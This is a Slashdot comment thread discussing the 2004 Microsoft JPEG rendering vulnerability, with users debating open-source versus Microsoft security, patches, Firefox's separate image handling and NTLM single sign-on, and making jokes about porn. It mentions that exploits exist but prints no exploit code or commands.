    Sure, they're not immune from security holes, exploits of various kinds, viruses and what-not ... but I have a strong suspicion that, even if they had as wide a user base as Windows, they'd still be more secure. The level of polish and craftsmanship of open source software (recall OS X's open source roots) can never be duplicated by Microsoft's paranoid and closed-doors efforts.

    1. Re:I cannot help but grin ... by Pieroxy · · Score: 5, Insightful

      but I have a strong suspicion
      Everyone is entitled to its own suspicion.

      The level of polish and craftsmanship of open source software
      As opposed to the level of polish and craftmanship of Microsoft's products, of which you know nothing. So you are comparing apples to ... well something you just don't know. Good luck for being objective.

    2. Re:I cannot help but grin ... by Anonymous Coward · · Score: 0

      recall OS X's open source roots

      Yeah, it's called "All we can do is make I eyecandy and since we suck so bad at real innovation we'll take advantage of someone else work for free".

      But then again that's what you get for using the BSD license.

    3. Re:I cannot help but grin ... by LousyPhreak · · Score: 2, Insightful

      well... "know nothing" is not really true counting the numerous holes, fixed holes and whatnot, and also the rather long response times for some of them...

      yes i know open source software also has numerous bugs, but as its "open" source the flaws are usually much faster found and fixed within hours (if possible)

      --
      -- Karma: beyond good and evil - mostly affected by posting political
    4. Re:I cannot help but grin ... by YetAnotherName · · Score: 4, Interesting

      of which you know nothing

      As a user of Microsoft products, I witness their lack of stability, their tendency to crash or exhibit bugs, and their uncanny ability of corrupting user data, and so forth. After putting up with them for so long, I know quite a bit about them.

      Moreover, I used to be an employee. I worked at the Redmond campus. I know both the quality exhibited on the outside, and the quality that goes into the products on the inside.

      I do indeed know something.

    5. Re:I cannot help but grin ... by aug24 · · Score: 1
      the level of polish and craftmanship of Microsoft's products, of which you know nothing

      But we all can, and do, infer that level from... well, the number of security risks, our own knowledge of the open source process etc, cruft....

      Ah, no, hang on, looking at your last ten posts, I realise that you're just an argumentative dick. Forget I posted this.

      Justin.

      --
      You're only jealous cos the little penguins are talking to me.
    6. Re:I cannot help but grin ... by IamTheRealMike · · Score: 2, Insightful
      The level of polish and craftsmanship of open source software

      Open source software has plenty of bugs, duh.

      In fact, there are similar problems with parsing image files on Linux as well. Except that Windows is actually more secure, because it has auto-updates turned on by default from XP2 onwards, and stack protection type patches built in by default. On Fedora you have execshield, but that hasn't been fully upstreamed yet so only a small subset of Linux users are protected. I don't know of any distros that download and apply security patches with no user intervention out of the box.

      (recall OS X's open source roots)

      Even if open source software was perfect (which it isn't) large parts of MacOS X are not open source. Most of the important bits aren't, in fact. Surprise surprise, the Mac has had serious URL handler exploits which are like this JPEG problem: arbitrary code execution via a web browser. Except in the case of the Mac URL handler problems it was a design problem not just an unchecked buffer, to do with insecure-by-design features. D'oh. ActiveX all over again.

      So, no, I don't trust Apple any more than Microsoft when it comes to security. How can you? They are both proprietary OS companies, with all the issues that implies.

      can never be duplicated by Microsoft's paranoid and closed-doors efforts

      These days Microsoft have dedicated programs scanning their code looking for suspicious patterns, security testing teams, and give their developers extensive training in how to write secure code. These are advantages not available to open source coders. If anything I'd say they're close to taking the lead in absolute terms for security (by which I mean, assume equal market share for Windows, Linux, Macintosh - which is more secure).

    7. Re:I cannot help but grin ... by Tim+C · · Score: 1

      and fixed within hours (if possible)

      Part of the reson for that is that open source projects have neither the obligation nor the resources to regression test the fix on a wide variety of platforms and configurations, while commercial projects do. (Well, they at least have the obligation...)

      It's acceptable for an OSS project to produce a patch and say "here ya go, good luck"; the same is *not* true of MS. That's part of the reason why OSS patches tend to come out faster...

    8. Re:I cannot help but grin ... by NoMoreNicksLeft · · Score: 1

      And yet, once out, OSS patches are generally praised, and rarely complained about. Microsoft spends months writing their patches, a week on top of that being stingy with them, and often they're still pieces of shit. So, in the end, all that fancy regression testing does nothing...

    9. Re:I cannot help but grin ... by Pieroxy · · Score: 1, Insightful

      I may be a "dick", as you put it, but at least I finish my posts. Whatever you can infer from all you cite is by definition inaccurate, at best.

      Wait until Linux is mainstream, is installed on the computer of quadrillions of unknowledgeable people, and represent 80% of the market. Then, and only then, it will be the target of numerous hackers and virus writers. And they will have a nice and blind audience of stupid computer users.

      Then, we will see if Linux is more or less robust than Windows. Before then, you (we) can at best speculate.

      I realise that you're just an argumentative dick
      I just can't stand blatantly ignorant allegations that are modded interesting or insightful. If that makes me a dick, then so be it.

    10. Re:I cannot help but grin ... by Pieroxy · · Score: 1

      Well, the last exploit in a Mozilla product took around two years to fix. Remember Firefox 0.9.3? That was a bugfix. And the bug was opened in 2002.

      On the other hand, we have MS that release a fix the same day the exploit is found (JPEG exploit).

      Of course, OSS is so much better. And consistently that is.

      Objectivity is a necessary part of a well formed argument, you know.

    11. Re:I cannot help but grin ... by LousyPhreak · · Score: 1

      as the other replier stated, these "here ya go, good luck" patches are working 99% of all cases (is from my own experience, ymmv) and the carefully tested microsoft patches are quite often failing miserably, in a few cases making the problem even worse

      --
      -- Karma: beyond good and evil - mostly affected by posting political
    12. Re:I cannot help but grin ... by Gentlewhisper · · Score: 1

      "On the other hand, we have MS that release a fix the same day the exploit is found (JPEG exploit)."

      Well Micro$oft fanboy, sorry to disappoint you, but I think the WHOLE Windows XP is one huge bug, and how long did it take MS to fix it?

      Well, 3 years to get to SP2, and they are STILL fixing it.

    13. Re:I cannot help but grin ... by CausticPuppy · · Score: 1

      The level of polish and craftsmanship of open source software

      You do know how Apache got its name, right?

      --
      -CausticPuppy "Of all the people I know, you're certainly one of them." -Somebody I don't know
    14. Re:I cannot help but grin ... by LousyPhreak · · Score: 1

      you actually read the "usually much faster found and fixed within hours (if possible)"?

      and those are imho the exceptions of the rule (for mozilla or many other "big" projects and microsoft)

      and before you ask: yes i do look over many flaws in opensource software which i'd complain about in comercial software simply because i *pay* the vendor to produce something that actually *works* and as i pay i want the product to work as advertised.

      so if you pay a professional, or ask a friend to paint your house green and the color simply falls off, where would you complain more? the company you payed or the friend who did it for free (or a beer or whatnot)

      its true that i lack objectivity in this subject but if i dont get what i want its a big difference if (or how much) i payed for it or not, but then again ymmv.

      --
      -- Karma: beyond good and evil - mostly affected by posting political
    15. Re:I cannot help but grin ... by kcdoodle · · Score: 1

      When a problem arises in a Microsoft program, a reboot often solves the problem.

      I never think twice about this, even if it is a secure database program...
      I just move along and shrug "It's Microsoft."

      When working on any non-Microsoft platform, when a problem arises, reboots rarely ever fix the problem, if they do, I get really worried and dig deep until I understand the nature of the problem and fix it.

      How many other people accept the inconsistent behaviour of Microsoft products, but really get worried when inconsistancies arise on non-Microsoft platforms?

      Just something to think about.

      I live the greatest adventure one could ever desire. - Tosk the Hunted

      --

      - I live the greatest adventure anyone could possibly desire. - Tosk the Hunted
    16. Re:I cannot help but grin ... by Anonymous Coward · · Score: 0

      don't feed the trolls.
      Anyone with half a brain and some basic psycology understanding agrees with you.

    17. Re:I cannot help but grin ... by Pieroxy · · Score: 1

      Whether the bug was in Windows or not is irrelevant. They knew about it long ago (about two years now) and didn't do a thing about it. They had to wait until it was in the news to fix their call.

      That's very close to what people consider to be the Microsoft approach.

    18. Re:I cannot help but grin ... by b1t+r0t · · Score: 1
      Wait until Linux is mainstream, is installed on the computer of quadrillions of unknowledgeable people, and represent 80% of the market. Then, and only then, it will be the target of numerous hackers and virus writers. And they will have a nice and blind audience of stupid computer users.

      And people running OS X will still laugh.

      --

      --
      "Open source is good." - Steve Jobs
      "Open source is evil." - Microsoft
    19. Re:I cannot help but grin ... by dasmegabyte · · Score: 1

      as its "open" source the flaws are usually much faster found and fixed within hours

      This is kind of an empty metric. Yes, the cause of flaws is discovered within a few hours and a patch is released to developers. But who cares? Said patch is completely untested on systems homogenous to yours; it's not guaranteed not to completely break your systems, heck it's not even guaranteed to work. You may see a patch replaced by another patch in a few hours. In the end, the situation is nearly identical to the situation with Microsoft's products: you wait to install the patch. You have to test it on a guinea pig system before rolling it out company wide.

      I'm sure internal to Microsoft, the bug response is similar. I know it's rare that I don't fix one of my company's software bugs in an hour...but the patch for that bug could take MONTHS to roll out. Developing a patch is the easiest step. It's all the other work that takes time, and OSS isn't better at it...it's WORSE, because it requires more knowledge and more work on the part of administrators to fix systems.

      --
      Hey freaks: now you're ju
    20. Re:I cannot help but grin ... by Pieroxy · · Score: 1

      And people running OS X will still laugh.
      All 152 of them, yes they will.

    21. Re:I cannot help but grin ... by Anonymous Coward · · Score: 0

      "Moreover, I used to be an employee. I worked at the Redmond campus. I know both the quality exhibited on the outside, and the quality that goes into the products on the inside."

      so... you contributed to the lousy code that youre complaining about?? Youre not only a jackass, youre a lazy freeloading jackass.

      No wonder MS has so many problems with their software if theyre in the habit of hiring high-horse loser programmers like you!

    22. Re:I cannot help but grin ... by Anonymous Coward · · Score: 0

      Hmm that's interesting. Sooo you worked at MS but you didn't feel that was relevant to mention in your first post? Yeah right.

    23. Re:I cannot help but grin ... by Anonymous Coward · · Score: 0

      > Moreover, I used to be an employee. I worked at the Redmond campus.

      Did it involve saying 'would you like fries with that ?'

      OK, Sorry, only joking ...

    24. Re:I cannot help but grin ... by skingers6894 · · Score: 1

      There are more than 12 Million Mac OS X users.

    25. Re:I cannot help but grin ... by YetAnotherName · · Score: 1

      At the risk of feeding anonymous trolls, yes, I didn't feel it was relevant. User experience is sufficient in appraising the lacking levels of quality in Microsoft software.

  8. Can someone confirm... by Boss,+Pointy+Haired · · Score: 3, Interesting

    ...because I have not seen this mentioned at all.

    Is the JPEG rendering in Firefox running on Windows independent of any underlying MS library and is therefore not affected?

    1. Re:Can someone confirm... by Soul-Burn666 · · Score: 2, Informative

      I can't confirm for 100%, but I can confirm there was a similar exploit for the JPEG rendering system Firefox uses, and it is patched at 1.0PR, and _maybe_ in previous versions.

      --
      ^_^
    2. Re:Can someone confirm... by darkmeridian · · Score: 3, Informative
      ...because I have not seen this mentioned at all.

      Is the JPEG rendering in Firefox running on Windows independent of any underlying MS library and is therefore not affected?


      It is independent of all MS libraries. The recent JPEG vulnerability in Firefox is a separate issue. Firefox is OSS, and thus cannot use closed-source libraries such as the MS one in trouble.
      --
      A NYC lawyer blogs. http://www.chuangblog.com/
    3. Re:Can someone confirm... by Sanity · · Score: 4, Informative
      The recent JPEG vulnerability in Firefox is a separate issue. Firefox is OSS, and thus cannot use closed-source libraries such as the MS one in trouble.
      If that were true, then you wouldn't be able to use OSS on a non-OSS operating system, since eventually the OSS needs to link with non-OSS code.
    4. Re:Can someone confirm... by ceeam · · Score: 1

      Whoever modded as "informative" please burn your mod points and answer me - WHAT'S INFORMATIVE IN THERE? A QUESTION??? Yes, as for the question - what NT kernel version Linux uses? (Mod me up! :)

    5. Re:Can someone confirm... by T-Ranger · · Score: 1

      And, for that matter, closed source does not necessaraly mean that you are not allowed to use it. Im sure there exists at least one library, prodced by a money grubbing company, released as binaries only, but you are allowed to use it any way you want.

    6. Re:Can someone confirm... by SenseiLeNoir · · Score: 1

      It was a bug in libPNG (a free implementation library) used for rendering PNGs, and strangely effected IE too (hmmm).

      This has definately been patched by Mozilla in all current releases, and in Netscape 7.2

      --
      Have a nice day!
    7. Re:Can someone confirm... by Jeffv323 · · Score: 1

      Is the JPEG rendering in Firefox running on Windows independent of any underlying MS library and is therefore not affected?

      Furthermore... What about Opera? I did a quick scan of their forums and found nothing.

      --
      I'm a minister!
    8. Re:Can someone confirm... by Dan+Ost · · Score: 2, Funny

      I think what he meant to say is that in order to be portable, FireFox can't
      use system specific libraries to do any rendering. Actually, no I don't. After
      reading it again, it looks like he's just wrong.

      --

      *sigh* back to work...
    9. Re:Can someone confirm... by Anonymous Coward · · Score: 0

      IOW, can I or can I not still safely browse pr0n at work using Firefox 1.0pr ?

    10. Re:Can someone confirm... by praedictus · · Score: 1

      Also: wonder if this type of exploit had anything to do with the new patches in X 6.8.1: libXpm libraries http://freedesktop.org/bin/view/XOrg/Home#About_th e_X11R6_8_1_Release

      --
      Watashi wa chikyubutsurigakusha desu.
    11. Re:Can someone confirm... by julesh · · Score: 1

      Firefox is OSS, and thus cannot use closed-source libraries such as the MS one in trouble.

      Different OSS licenses have different restrictions on what libraries can be used with the software, but the most restrictive of these is the GPL, which only permits you to use other GPL libraries (which includes any library that has a "relicense under GPL" ability, including LGPL, BSD, et al) and libraries "distributed with the operating system or compiler". The library in question, GDIPLUS, _is_ distributed with the most popular compiler on windows, Visual Studio, so can even be used by GPL applications.

  9. So what? Burn all JPEGs day? by Advocadus+Diaboli · · Score: 2, Interesting

    On November 5 1999 we had the "Burn all GIFs" day because of patent issues. Shall we announce a "Burn all JPEGs" day because of Microsoft security issues now and switch all to PNG?

    1. Re:So what? Burn all JPEGs day? by Ford+Prefect · · Score: 4, Informative

      Shall we announce a "Burn all JPEGs" day because of Microsoft security issues now and switch all to PNG?

      Well, you could, but don't forget the recent bugs in libpng... ;-)

      --
      Tedious Bloggy Stuff - hooray?
    2. Re:So what? Burn all JPEGs day? by maxwell+demon · · Score: 2, Funny

      No, this time it's "Burned by JPEGs" day!

      --
      The Tao of math: The numbers you can count are not the real numbers.
    3. Re:So what? Burn all JPEGs day? by mothrathegreat · · Score: 1

      I for one will be moving all of my images to PGM format.

      --
      Extended Warranty? How can I lose!
    4. Re:So what? Burn all JPEGs day? by bustersnyvel · · Score: 1

      On November 5 1999 we had the "Burn all GIFs" day because of patent issues. Shall we announce a "Burn all JPEGs" day because of Microsoft security issues now and switch all to PNG?

      That would be unwise. PNG uses lossless compression, and JPEG uses lossy compression. PNG can't simply replace JPEG. Take any picture from a digital camera, and save it as JPEG (if it isn't already) and PNG. Now compare the file size.

      PNG is a replacement for GIF, and an improvement in many ways.

    5. Re:So what? Burn all JPEGs day? by Anonymous Coward · · Score: 0
      Shall we announce a "Burn all JPEGs" day because of Microsoft security issues now and switch all to PNG?

      Well, you could, but don't forget the recent bugs in libpng... ;-)

      I knew it. I'm sticking with lynx.

    6. Re:So what? Burn all JPEGs day? by Anonymous Coward · · Score: 0

      Thats it!
      I am converting all my images to IFF

    7. Re:So what? Burn all JPEGs day? by gekkotron · · Score: 0

      In Microsoft America, JPEG's burn you!

  10. pr0n by Lord+Prox · · Score: 5, Funny

    Damn. Now in addition to worring about going blind I also have to worry about catching something.

    1. Re:pr0n by Anonymous Coward · · Score: 0

      LOLOL .. come on mods, that was damn witty! Mod up.

  11. Related links? by caluml · · Score: 4, Interesting

    What's all this stuff in the related links?

    . Bug whitepapers
    . Best deals: Bug
    . More Bug stories
    . Security whitepapers
    . Best deals: Security
    . More Security stories
    . Windows whitepapers
    . Best deals: Windows
    . More Windows stories
    . Microsoft whitepapers
    . Best deals: Microsoft

    When did that start happening?

    1. Re:Related links? by jpetts · · Score: 3, Funny

      Tell me what you think of my photos

      Wow, those are some pretty nice jpegs! I expecially like the ~~~.&!# No carrier

      --
      Call me old fashioned, but I like a dump to be as memorable as it is devastating - Bender
    2. Re:Related links? by Anonymous Coward · · Score: 1

      "What's all this stuff in the related links?

      . Bug whitepapers
      . Best deals: Bug
      . More Bug stories
      . Security whitepapers
      . Best deals: Security
      . More Security stories
      . Windows whitepapers
      . Best deals: Windows
      . More Windows stories
      . Microsoft whitepapers
      . Best deals: Microsoft"


      It has the appearance of advertising, you know ... product placement, getting paid, Money talks, one hand washes the other, BEING A FOR-PROFIT ORG.

      Slashdot is not a charity, folks.

      But I am getting tired of poor quality editor-ship combined with ads since the ads provide the money to pay a decent editor. Wake up slashdot! One of these days you'll wake up to declining readership and all your "karma" (goodwill) used up. Already, you've lost the best and most knowledgeable readers.

    3. Re:Related links? by Anonymous Coward · · Score: 1, Interesting

      Aye, but where do we go? Is there a site that's like the old slashdot (no, not kuro5hin)? Or is slashdot such a monopoly they can get away with sloppy work? Hmm, where have I heard that before...?

    4. Re:Related links? by Reziac · · Score: 1

      I noticed that too. Quite sucks, if you ask me. And when you get stuff like
      Bug whitepapers
      Best deals: Bug
      that just looks stupid.

      --
      ~REZ~ #43301. Who'd fake being me anyway?
  12. Single sign-on for a browser? by Anonymous Coward · · Score: 0, Informative

    Can you elaborate about the single sign-on function you want? I can image what single sign-on is in relation to a file server, but I'm not sure how a browser would use this.

    1. Re:Single sign-on for a browser? by pcardno · · Score: 4, Informative

      You can do something with Active Directory to enable single sign on so that your browser can use your Windows credentials to figure out who you are.

      An example being that I log into my laptop on the corporate network in the morning, but then never need to log into our Intranet. It uses my Active Directory credentials to figure out who I am, so displays my own customised and personalised Intranet settings.

      I'm not too sure how it works but it's very handy!

      --
      --- Band: Joey Ultra
    2. Re:Single sign-on for a browser? by Sir+Fredman · · Score: 1

      Yep, very handy, we do the same thing with intranetsites we develop (including our own)...

      --
      - there are no frogs here ...
    3. Re:Single sign-on for a browser? by byolinux · · Score: 1

      Single Sign On works, I think, only the user will need to have their username/password saved in Firefox.

    4. Re:Single sign-on for a browser? by silence535 · · Score: 2, Informative

      It is called NTML authentication.

      -jsl

      --
      Dyslectics of the world, untie!
    5. Re:Single sign-on for a browser? by pedestrian+crossing · · Score: 1, Funny

      I guess your .sig is apropos. It is NTLM (NT Lan Mangler)...

      --
      A house divided against itself cannot stand.
    6. Re:Single sign-on for a browser? by Anonymous Coward · · Score: 0

      This is a very BAD idea. It is a security nightmare as you are passing on your credentials to the web site you browse.

      This may seem OK for an Intranet site. But it means anyone who can sites chanege the sites content can do anything as if logged in as you. This can be avoided with carefully setup sites so at least only the site admin can do this. But still it is a feature I always use domain policies to turn OFF!!

    7. Re:Single sign-on for a browser? by silence535 · · Score: 2, Informative

      It is already built in. Only hast to be activated per Server.

      - about:config
      - filter for ntlm
      - enter comma separated list for network.automatic-ntlm-auth.trusted-uris

      Voila!

      -jsl

      --
      Dyslectics of the world, untie!
    8. Re:Single sign-on for a browser? by Bedouin+X · · Score: 1

      No, single sign on eliminates the need for you to enter any sort of credentials into your browser. It automatically knows who you are, as long as you've authenticated to your directory, and tells any website that cares in the background.

      --
      Dissolve... Resolve... Evolve...
    9. Re:Single sign-on for a browser? by LO0G · · Score: 1

      Only if you're sending them in clear text.

      NTLM V2's actually a decent auth protocol. Not as good as Kerberos, but not bad.

      NTLM V1 was horrid and should be flushed down the toilet, but V2 is relatively safe to deploy.

    10. Re:Single sign-on for a browser? by coulbc · · Score: 1

      Windows 2000 or Greater Active Directory can use NTLM or Kerberos authentication. There is ONE big difference though. Kerberos supports delegation, which allows your credentials that were passed in IE to be used to access resources on other network devices. You cannot do this with NTLM!
      I do not think Firefox does Kerberos authentication.

    11. Re:Single sign-on for a browser? by toddlg · · Score: 1

      Does anyone know if it is possible to make Firefox know/report you're autheticated in active directory? (I don't want the "remember password" feature)

      I use this "auto-login" in IE on our intranet but surf in Firefox all the time. I'd consider moving our 80 desktops over to Firefox if I could get this working.

      I briefly Googled it but didn't find out anything for certain...

  13. Are you patched? by UnderAttack · · Score: 4, Interesting

    These early POC exploits are covered in todays
    ISC Diary. Note that now there is a script to generate images to add an Admin level user (username "X").

    Not too long until we see a remote shell.

    Some people are tlaking about seeing it used in an MSN Messenger worm.

    The hard part about patching this one is that a lot of third party software may overwrite the Windows JPEG GDI library with its own older version :-/

    --
    ---- join dshield.org Distributed Intrusion Detec
    1. Re:Are you patched? by archen · · Score: 1

      The hard part about patching this one is that a lot of third party software may overwrite the Windows JPEG GDI library with its own older version :-/

      And thats one of the things that pissed me off so much about Windows - software that fucks with the system libraries and messes everything up. You keep your system up to date, only to install some software that overwrites a dll with a version from the dark ages, and breaks everything else.

      Now MS is talking about allowing different version s of the same library, but really that's just a bandaid fix to something that shouldn't be allowed in the first place.

    2. Re:Are you patched? by ajs · · Score: 4, Funny

      Not too long until we see a remote shell.

      And therein lies the rub. For the people that write these things, it's reaching the point of diminishing returns in terms of getting the tools installed that they need in order to efficiently, remotely manage these boxes. It was all fun and games when you just wanted 10,000 boxes to send out ping-of-deaths or SYN floods, but now you have to manage a farm of zombies and get real work out of them. The competition is fierce and the other guy is trying just as hard as you are to get large-scale admin working, and of course, like all large-scale Windows installations, they're finding that this sucks.

      Several things would help:

      * A virtual OS layer is needed so that the user can have Windows for their games, but the crackers can do their admin from a maintainable OS. Heck, even DOS would be more managable.

      * Users should make themselves available to the crackers for physical admin needs like reboots.

      * Microsoft needs to stop pushing these auto-updates. It's not as if the crackers can't find new holes faster than MS can push the updates, but the rapid change to an installed base is just too difficult to remotely manage. Bill: you're killing profits here!

      Overall, we just need to start making doing business on the Internet more friendly. I don't understand why people can't understand this!

      PS: ;-)

    3. Re:Are you patched? by detritus. · · Score: 1
      And thats one of the things that pissed me off so much about Windows - software that fucks with the system libraries and messes everything up. You keep your system up to date, only to install some software that overwrites a dll with a version from the dark ages, and breaks everything else.

      Exactly. Not only that, but uninstallers that leave behind tons of crap in the registry/filesystem that should have been removed.
      When I want something gone, I want
      • everything
      gone. Eventually, over time, having a bloated registry causes Windows to behave poorly.
    4. Re:Are you patched? by JebuZ · · Score: 1

      Security Focus seems to be reporting a remote shell already: http://www.securityfocus.com/bid/11173/exploit/ "A new exploit, "JpegOfDeath.c", is available. It is based on the FoToZ exploit but provides a reverse connection for the command shell."

  14. Why so much noise? by Cyberax · · Score: 2, Insightful

    So much noise about an ordinary Windows insecurity...

    IMHO, Longhorn with .NET core is the last Microsoft's chance to correct its public image as the 'most insecure software vendor'.

    Another question: when will Longhorn be out before Duke Nukem Forever?

    1. Re:Why so much noise? by lphuberdeau · · Score: 1
      Another question: when will Longhorn be out before Duke Nukem Forever?

      Actually, they might simply replace Solitare for Duke Nukem Forever when Longhorn releases.

      --
      Qui ne va pas à la chasse n'a pas de gibier
      PHP Queb
    2. Re:Why so much noise? by Anonymous Coward · · Score: 0

      This one is worse than a normal Windows exploit since some Virus software assumes that jpgs are safe and so don't check them. Personally I'd also trust a jpg whilst browsing (because I have confidence in my libs), whereas a .scr or .exe I might be cautious about.
      Also you need to patch more than just Windows as Office, VS and other rubbish needs a separate patch.

  15. safe sex by gusmao · · Score: 5, Funny

    Does that mean when you watch porn on the Web it is not safe sex anymore? Damn it!!!

    1. Re:safe sex by (H)elix1 · · Score: 2, Funny

      Does that mean when you watch porn on the Web it is not safe sex anymore? Damn it!!!

      Come on, man... bring it to the digital age. When watching pr0n online, you have to practice safe hex.

    2. Re:safe sex by Anonymous Coward · · Score: 0
      Does that mean when you watch porn on the Web it is not safe sex anymore?

      That is exactly what it means.
      If you download the wrong xxx.jpeg you may catch a virus and your hard drive will fall off.

    3. Re:safe sex by Goglu · · Score: 1

      Use Lynx... Porn sites will be much safer!

    4. Re:safe sex by LuxFX · · Score: 1

      Does that mean when you watch porn on the Web it is not safe sex anymore?

      It means that porn on the web is even more interactive! As soon as you view it, it f*cks your machine!

      --
      Punctanym: alternate spelling of words using punctuation or numerals in place of some or all of its letters; see 'leet'
    5. Re:safe sex by Anonymous Coward · · Score: 0

      Just wear a condom and you'll be fine!

  16. Moving pictures... by cwebb1977 · · Score: 1, Funny

    Well, no more JPEG porn for windows users. Good thing there's more than enough naughty movie stuff out there. But what if Windows Media Player has another security flaw? No more porn at all?

    --
    www.weberseite.at
    1. Re:Moving pictures... by 0123456 · · Score: 1

      "what if Windows Media Player has another security flaw"

      Well, that porn .asf file can be set to automatically open a web page from Media Player which contains a JPEG that takes over your machine...

      God knows what moron thought it would be a good idea to let movie files open a web page without even asking you.

    2. Re:Moving pictures... by NatasRevol · · Score: 1

      Start your own 'safe' pr0n site!

      www.mpegsonly.com

      --
      There are two types of people in the world: Those who crave closure
    3. Re:Moving pictures... by wertarbyte · · Score: 1

      Those ASCII-Art pr0n will still work in lynx. I always knew it is superior!

      --
      Life is just nature's way of keeping meat fresh.
  17. Windows 2000 isn't on the list.. by Anonymous Coward · · Score: 0

    ..hooray! Another good reason to stay away from XP.

  18. Patch is already out by Jeffv323 · · Score: 5, Informative

    Pick your OS and download it here

    Also, if you have SP2 or uh, don't use MS software, you're fine :)

    --
    I'm a minister!
  19. patch has been available for a while now by jeffs72 · · Score: 5, Informative

    And it actually works fairly well. It scans for any program that reads these files and makes sure they don't have the bug in them. If it can't patch them, it bugs you about it so you can find a fix for the app. Only Microsoft apps of course, I don't think Adobe wants Microsoft pushing out software updates for them.

    Most of the users I have to support aren't savvy enough to add a printer (omg, with active directory it's like 3 mouse clicks) or install software or apply updates (we use some banking software and it notifies you with a text box to click "OK" and then "File, Update" but I still get called on it every time). That's why at our offices we use Microsoft System Update Server (SUS). It lets us approve patches and then roll them out to all the clients in the domain automagically.

    I shudder to think what would happen if I tried to roll out firefox or mozilla to everyone. I'd probably get calls that their "e" was missing and they couldn't connect to the internet. I swear, some people just shouldn't be on computers.

    --
    This article has recently been linked from Slashdot. Please keep an eye on the page history for errors or vandalism.
    1. Re:patch has been available for a while now by wx327 · · Score: 1
      I shudder to think what would happen if I tried to roll out firefox or mozilla to everyone. I'd probably get calls that their "e" was missing and they couldn't connect to the internet. I swear, some people just shouldn't be on computers.

      Tell them "f" is bigger than "e".

    2. Re:patch has been available for a while now by beavis88 · · Score: 1

      I'd probably get calls that their "e" was missing and they couldn't connect to the internet.

      I just made the firefox shortcut have the IE icon -- problem solved :)

    3. Re:patch has been available for a while now by ortholattice · · Score: 1
      (we use some banking software and it notifies you with a text box to click "OK" and then "File, Update" but I still get called on it every time).

      You should actually be thanking your lucky stars your users are smart enough to call you about any such thing they're uncertain of. (Especially with banking software!) One way trojans get installed is when people blindly click "OK" to every box that pops up. If it is irrelevant that they understand what the "OK" box means, then what is the point of popping it up in the first place?

    4. Re:patch has been available for a while now by jeffs72 · · Score: 1

      You should actually be thanking your lucky stars your users are smart enough to call you about any such thing they're uncertain of. (Especially with banking software!) One way trojans get installed is when people blindly click "OK" to every box that pops up. If it is irrelevant that they understand what the "OK" box means, then what is the point of popping it up in the first place?

      Well, thats true normally, but this software is the only thing that runs on the machine and that's its method of notifying for updates, it's been that way for something like 3 years. I feel like a dark ages magician mystifying the peasants when I have to go over and do stuff like that. They sit and stare at what I'm doing in awe and thank me profusely when I'm done. I've tried to tell them it's ok for them to do this particular function but they insist on me taking care of it so they won't break the computer.

      --
      This article has recently been linked from Slashdot. Please keep an eye on the page history for errors or vandalism.
    5. Re:patch has been available for a while now by drew · · Score: 1

      If you ever do install Firefox, just change the shortcut to the IE icon and use firesomething to rename the appication to "Internet Explorer". There's probably an Internet Explorer icon theme for firefox too, although I haven't looked yet. I think I'm going to try this on my parents' computer the first time I go home after 1.0 is released.

      --
      If I don't put anything here, will anyone recognize me anymore?
    6. Re:patch has been available for a while now by BandwidthHog · · Score: 1

      But then you help to reinforce the mindbendingly unfortunate belief about computing that Microsoft has caused to become commonplace: sometimes a thing works, sometimes it doesn't.

      They'll genuinely believe that the Big Blue E isn't nearly as bad as those people make it out to be, instead of telling their friends that the Blue and Orange Round Thing made things safe and fun again.

      Essentially, just like the reason for not changing your user agent string to work around fucktarded browser sniffers. But different.

      --

      Quantum materiae materietur marmota monax si marmota monax materiam possit materiari?
    7. Re:patch has been available for a while now by GSloop · · Score: 1

      Exactly. Though I mess with their heads. The "E" now says, Mozilla Firefox.

      Really, I just want them to know they're not actually running IE. It looks like it and habit will have them click on the E, but they'll get FF.

      Cheers,
      Greg

    8. Re:patch has been available for a while now by Anonymous Coward · · Score: 0

      So, someone just needs to make a series of icons that will slowly morph from an e to whatever firefox's is. Mine would have to change to an O.

      The problem is getting it to change- I don't suppose that functionality could be written into FF?

    9. Re:patch has been available for a while now by SamNmaX · · Score: 1
      And it actually works fairly well. It scans for any program that reads these files and makes sure they don't have the bug in them. If it can't patch them, it bugs you about it so you can find a fix for the app. Only Microsoft apps of course, I don't think Adobe wants Microsoft pushing out software updates for them.

      I really can't give Microsoft much credit here, as this is not nearly enough. So many Microsoft programs have this bug, and while it will tell you which programs have problems, it only points you in the right direction to fix it, and doesn't fix it itself. Why can't the Windows Update service actually fix these bugs? I realize they aren't all part of the OS itself, but come on, it's all Microsoft.

      Your average user is going to get to the point of loading the program that notifies you of the problems, and then not go to all these strange "Knowledge Base" links to actually install the updates. The end result will be that while the core system will be fixed, there will still be a lot of loose ends that will be exploited unless Microsoft auto patches them.

      The handling of this shows that Windows is in need to increase the scope of their update utility to that of not only it's own programs, but other programs as well. Ideally, it should act as the centeral repository for security patchs for all major (and minor?) in Windows apps. While each individual app could do this, a single spot for all patches would be very useful and much easier on the user. In Debian, an 'apt-get update' can fix most known security flaws in nearly all the programs I have installed. Given the position Microsoft is in, they could implement something at least somewhat similar, as I imagine other software vendors would take advantage of it. If patching isn't easy enough for users, they won't get the patches until it's too late (and perhaps not even then).

    10. Re:patch has been available for a while now by drew · · Score: 1

      It would be theoretically possible, as the icon or icons a program uses are stored at certain addresses in the executable. In theory, you could store the whole series of icons somewhere else in the excecutable, and each time the program runs overwrite the part of the executable where the main icon is stored with the next icon in the series.

      You do run into a few complications with this, of course. The obvious one is the risk of corrupting your binary by trying to write to it while it's running. (shouldn't be a problem in a sane operating system, but in windows you never know....) The bigger issue, though, would probably be in dealing with the rather horrid and afaik little understood windows icon cache.

      --
      If I don't put anything here, will anyone recognize me anymore?
    11. Re:patch has been available for a while now by drew · · Score: 1

      Not really. What I would really be reinforcing is their belief that if you know about computers, you can make them work better. Which is true.

      My parents already know that their computer runs better after I visit them. And they know that I don't have all of the problems they do because I know how to avoid doing things that will cause those problems, even with Internet Explorer. And if they don't have all of the problems that they hear everyone else complaining about and that they used to have themselves, they will just know that I did something to fix their computer so that they don't have those problems anymore. Which is true.

      I already dealt with this problem once when helping my parents transition from aol to dsl, and it caused no end of confusion. To them, Internet Explorer is not a program that is used to view the Internet. It is the Internet. So I'm going to upgrade it....

      --
      If I don't put anything here, will anyone recognize me anymore?
  20. Re:Patch already out by Jeffv323 · · Score: 3, Informative

    Pick your OS and download it here!

    Of course here, is this place --> here

    I knew that preview button was good for something

    --
    I'm a minister!
  21. I hope MPEG decoding not affected... by Flatline_hun · · Score: 1

    ...or else I can't enjoy downloaded ..khm.. educational .. clips at the workplace.

    --
    Yeah, free Ipod! He is innocent!
